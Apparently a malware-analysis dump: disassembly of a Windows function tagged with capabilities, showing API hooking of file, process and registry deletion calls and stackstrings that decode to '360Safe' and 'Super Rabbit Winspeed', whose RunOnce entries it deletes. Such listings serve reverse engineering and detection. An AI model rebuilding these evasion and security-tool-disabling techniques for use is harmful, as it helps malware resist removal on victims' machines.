Function at 0x41001e6c
Capabilities:
Contain obfuscated stackstrings
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
and byte [ebp - 0x124], 0
push esi
push edi
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x123]
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x124]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.MSVCRT.dll__strupr]
lea eax, [ebp - 0x124]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 0xc
test esi, esi
je 0x41002267
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
cmp eax, 1
je 0x41002267
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
push eax
inc esi
push dword [ebp + 8]
push esi
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0x10
test eax, eax
jne 0x41002289
call fcn.410023d3
test eax, eax
je 0x41002289
cmp dword [ebp + 0xc], 1
push ebx
mov ebx, 0x41007870
jne 0x4100210d
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.kernel32.dll
call esi
push str.Advapi32.dll
call esi
push str.user32.dll
call esi
push 0x41001545
mov esi, str.KERNEL32.DLL
push str.DeleteFileA
mov edi, 0x41006628
push esi
push edi
call fcn.41001480
push edi
call fcn.410013e1
push 0x41001a13
push str.TerminateProcess
mov edi, 0x41006eb0
push esi
push edi
call fcn.41001480
push edi
call fcn.410013e1
push 0x41001b49
mov edi, str.ADVAPI32.DLL
push str.RegDeleteKeyA
push edi
push 0x41006fe8
call fcn.41001480
push 0x41006fe8
call fcn.410013e1
push 0x41001b75
push str.RegDeleteValueA
push edi
push 0x41007258
call fcn.41001480
push 0x41007258
call fcn.410013e1
push 0x41001ba1
push str.OpenProcess
push esi
push 0x410074c8
call fcn.41001480
push 0x410074c8
call fcn.410013e1
push 0x41001602
push str.DeleteFileW
push esi
push 0x41006760
call fcn.41001480
push 0x41006760
call fcn.410013e1
push 0x4100175d
push str.MoveFileExW
push esi
push 0x410069d0
call fcn.41001480
push 0x410069d0
call fcn.410013e1
push 0x410016ae
push str.MoveFileW
push esi
push 0x41006898
call fcn.41001480
push 0x41006898
call fcn.410013e1
push 0x4100180f
push str.MoveFileExA
push esi
push 0x41006b08
call fcn.41001480
push 0x41006b08
call fcn.410013e1
push 0x410018be
push str.MoveFileWithProgressA
push esi
push 0x41006c40
call fcn.41001480
push 0x41006c40
call fcn.410013e1
push 0x41001973
push str.MoveFileWithProgressW
push esi
push 0x41006d78
call fcn.41001480
push 0x41006d78
call fcn.410013e1
push 0x41001b5f
push str.RegDeleteKeyW
push edi
push 0x41007120
call fcn.41001480
push 0x41007120
call fcn.410013e1
push 0x41001b8b
push str.RegDeleteValueW
push edi
mov edi, 0x41007390
push edi
call fcn.41001480
push edi
call fcn.410013e1
push 0x41001ca5
push str.ShellExecuteA
push str.SHELL32.DLL
push 0x41007738
call fcn.41001480
push 0x41007738
call fcn.410013e1
push 0x41001d5d
push str.WinExec
push esi
push ebx
call fcn.41001480
push ebx
call fcn.410013e1
jmp 0x41002112
mov edi, 0x41007390
cmp dword [ebp + 0xc], 0
jne 0x410021aa
push 0x41006628
call fcn.4100146b
push 0x41006c40
call fcn.4100146b
push 0x41006eb0
call fcn.4100146b
push 0x41006fe8
call fcn.4100146b
push 0x41007258
call fcn.4100146b
push 0x410074c8
call fcn.4100146b
push 0x41006760
call fcn.4100146b
push 0x41006898
call fcn.4100146b
push 0x410069d0
call fcn.4100146b
push 0x41006b08
call fcn.4100146b
push 0x41006d78
call fcn.4100146b
push 0x41007120
call fcn.4100146b
push edi
call fcn.4100146b
push 0x41007738
call fcn.4100146b
push ebx
call fcn.4100146b
and byte [ebp - 0xb], 0
and byte [ebp - 0xa], 0
and byte [ebp - 9], 0
and byte [ebp - 1], 0
mov byte [ebp - 0x20], 0x58
mov byte [ebp - 0x1f], 0x7a
mov byte [ebp - 0x1e], 0x75
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x77
mov byte [ebp - 0x1b], 0x25
mov byte [ebp - 0x1a], 0x57
mov byte [ebp - 0x19], 0x66
mov byte [ebp - 0x18], 0x67
mov byte [ebp - 0x17], 0x67
mov byte [ebp - 0x16], 0x6e
mov byte [ebp - 0x15], 0x79
mov byte [ebp - 0x14], 0x25
mov byte [ebp - 0x13], 0x5c
mov byte [ebp - 0x12], 0x6e
mov byte [ebp - 0x11], 0x73
mov byte [ebp - 0x10], 0x78
mov byte [ebp - 0xf], 0x75
mov byte [ebp - 0xe], 0x6a
mov byte [ebp - 0xd], 0x6a
mov byte [ebp - 0xc], 0x69
mov byte [ebp - 8], 0x38
mov byte [ebp - 7], 0x3b
mov byte [ebp - 6], 0x35
mov byte [ebp - 5], 0x58
mov byte [ebp - 4], 0x66
mov byte [ebp - 3], 0x6b
mov byte [ebp - 2], 0x6a
xor eax, eax
add byte [ebp + eax - 0x20], 0xfb
inc eax
cmp eax, 0x15
jl 0x4100222c
xor eax, eax
add byte [ebp + eax - 8], 0xfb
inc eax
cmp eax, 7
jl 0x41002239
mov esi, dword [sym.imp.SHLWAPI.dll_SHDeleteValueA]
lea eax, [ebp - 0x20]
mov ebx, str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
push eax
mov edi, 0x80000002
push ebx
push edi
call esi
lea eax, [ebp - 8]
push eax
push ebx
push edi
call esi
pop ebx
jmp 0x41002289
push 0x452
push str.J_NYR
push str._s__d_:
call fcn.4100228d
add esp, 0xc
push 0x41007d54
call fcn.4100228d
pop ecx
pop edi
pop esi
leave
ret